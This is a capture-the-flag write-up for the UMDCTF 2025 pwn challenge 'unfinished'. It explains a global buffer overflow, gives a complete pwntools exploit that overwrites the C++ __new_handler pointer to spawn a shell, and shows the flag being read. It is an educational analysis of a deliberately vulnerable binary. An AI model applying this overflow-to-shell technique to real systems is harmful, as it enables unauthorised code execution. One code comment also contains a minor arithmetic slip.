UMDCTF 2025 unfinished write-up

UMDCTF 2025, the ninth annual CTF from the University of Maryland’s cybersecurity crew, had some fun challenges. I decided to write up one particular PWN task called “unfinished”. Yep, that’s the actual name. Rest assured, I did actually finish solving it, and this write-up is complete!
Category: PWN
Points: 420
Solves: 93 out of 708 teams
Author: aparker
Challenge:
TODO: finish the challenge
nc challs.umdctf.io 31003
Downloads:
unfinished.cpp unfinished Dockerfile Makefile
Initial recon
We begin with an ELF executable, its source code, and two extra files.
Source code
Let’s take a look at unfinished.cpp:
#include <cstdio>
#include <cstdlib>
char number[128];
void sigma_mode() {
system("/bin/sh");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("What size allocation?\n");
fgets(number, 500, stdin);
long n = atol(number);
int *chunk = new int[n];
// TODO: finish the heap chal
}
The goal seems to be to exploit the provided ELF binary to read the flag by gaining a shell through the sigma_mode
function, which calls system("/bin/sh")
. We need some way to execute it.
Binary Analysis
$ checksec --file=unfinished
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 401 Symbols Yes 1 4 unfinished
Full RELRO: GOT is read-only. Stack Canary found, protects stack overflows, but irrelevant for BSS. NX: No executable stack/heap. No PIE: Fixed addresses (base 0x400000
).
$ file unfinished
unfinished: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c1b893608e7427666ca5fe40f579e498eca3407, for GNU/Linux 4.4.0, not stripped
64-bit, dynamically linked. Not stripped: Symbols available.
Dockerfile
FROM ubuntu:24.04 AS app
FROM pwn.red/jail
COPY --from=app / /srv
COPY ./unfinished /srv/app/run
COPY ./flag.txt /srv/app/flag.txt
RUN chmod +x /srv/app/run
ENV JAIL_PORT=1447 JAIL_MEM=128M JAIL_ENV_NUM=5 JAIL_PID=20 JAIL_TIME=1200
The executable is renamed to “run”, and the flag is in the same directory. The shell is sandboxed by redpwn/jail.
Makefile
unfinished: unfinished.cpp
g++ -Wl,-z,now -static-libgcc -static-libstdc++ unfinished.cpp -o unfinished -no-pie
Indicates -no-pie
(confirmed) and static linking, but the binary is dynamically linked, suggesting a build mismatch.
Vulnerability Identification
The program reads up to 500 bytes of input into a global buffer number
which is only 128 bytes in size. This is a clear buffer overflow vulnerability on a global variable. The fgets
function reads more data than the number
buffer can hold, allowing us to write past the end of the buffer in the data segment. The input read by fgets
is then processed by atol
to determine the size of a heap allocation using new int[n]
.
The goal is to execute the sigma_mode()
function. Since the overflow is on a global buffer and not directly on the stack, we cannot directly overwrite the return address. We need to find another way to redirect control flow.
A common technique when overflowing global data is to overwrite a global function pointer. In C++, when a heap allocation fails (e.g., due to requesting an extremely large size), the standard library’s new
operator calls a registered new
handler function. By default, this handler might throw an exception or call abort()
. However, we can overwrite the pointer to this handler to point to our desired function, sigma_mode
. The pointer to the global new
handler is typically stored in a global variable like __new_handler
.
Exploit Development
To implement this strategy, we need the addresses of sigma_mode
, the number
buffer, and the __new_handler
global variable in the compiled unfinished binary. You can use gdb and objdump for this:
$ gdb ./unfinished
(...)
(gdb) info variables
All defined variables:
Non-debugging symbols:
(...)
0x000000000041f060 number
0x000000000041f0e0 (anonymous namespace)::emergency_pool
0x000000000041f120 __gnu_cxx::__verbose_terminate_handler()::terminating
0x000000000041f128 (anonymous namespace)::__new_handler
(...)
$ objdump -t unfinished | grep sigma
00000000004019b6 g F .text 0000000000000016 _Z10sigma_modev
Or using nm:
$ nm unfinished | grep sigma
00000000004019b6 T _Z10sigma_modev
From these addresses, you can calculate the offset from the start of the number
buffer to the __new_handler
:
OFFSET_TO_NEW_HANDLER = ADDR_NEW_HANDLER - ADDR_NUMBER_BUFFER
OFFSET_TO_NEW_HANDLER = 0x41f128 - 0x41f060 = 0x88 = 136 bytes
This means we need 136 bytes of data from the start of the number buffer to reach the memory location where the __new_handler
pointer is stored. Since the number buffer is 128 bytes, this offset includes the 128 bytes of the buffer plus 8 bytes of padding immediately following it before the __new_handler
pointer.
We can use pwntools to craft the exploit. The payload needs to start with a string that atol
can parse into a large number to trigger the allocation failure. This string will occupy the beginning of the number buffer. The remaining space in the buffer and the 8 bytes of padding before __new_handler
will be filled with junk data. Finally, the address of sigma_mode
will overwrite the __new_handler
pointer.
The payload structure is: [large number string] + [padding] + [address of sigma_mode]
The length of the large number string plus the padding must equal the OFFSET_TO_NEW_HANDLER (136 bytes).
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
ADDR_SIGMA_MODE = 0x4019b6
ADDR_NUMBER_BUFFER = 0x41f060
ADDR_NEW_HANDLER = 0x41f128
OFFSET_TO_NEW_HANDLER = ADDR_NEW_HANDLER - ADDR_NUMBER_BUFFER #136
HOST = 'challs.umdctf.io'
PORT = 31003
try:
r = remote(HOST, PORT)
except:
print("Connection failed.")
exit(1)
r.recvuntil(b"What size allocation?\n")
large_number = b"999999999999" # 12 bytes
padding_len = OFFSET_TO_NEW_HANDLER - len(large_number) # 136 - 18 = 124
payload = large_number + b'A' * padding_len + p64(ADDR_SIGMA_MODE)
r.sendline(payload)
print("Payload sent.")
r.interactive()
Execution and Flag
The exploit script successfully connects to the remote server, sends the crafted payload, attempts to allocate about 4 terabytes of RAM, triggers an allocation failure, overwrites __new_handler
, and executes sigma_mode
, providing a shell. From the Dockerfile, we already know that the flag should be in the same directory as the executable.
$ python solve.py
[+] Opening connection to challs.umdctf.io on port 31003: Done
b'What size allocation?\n'
Payload sent.
[*] Switching to interactive mode
$ ls
flag.txt
run
Indeed, here it is, let’s see:
$ cat flag.txt
UMDCTF{crap_i_have_to_come_up_with_a_flag_too?????????}
Summary
The challenge was solvable by exploiting a simple fgets
buffer overflow on a global buffer. By overwriting the __new_handler
global function pointer with the address of the sigma_mode
function and triggering an allocation failure, we were able to achieve access to the shell and retrieve the flag. Overall, this was a nice challenge and offered good educational value.
You may also like to check out an official solution, which takes a slightly different approach by overwriting the registered_frames
variable.
Comments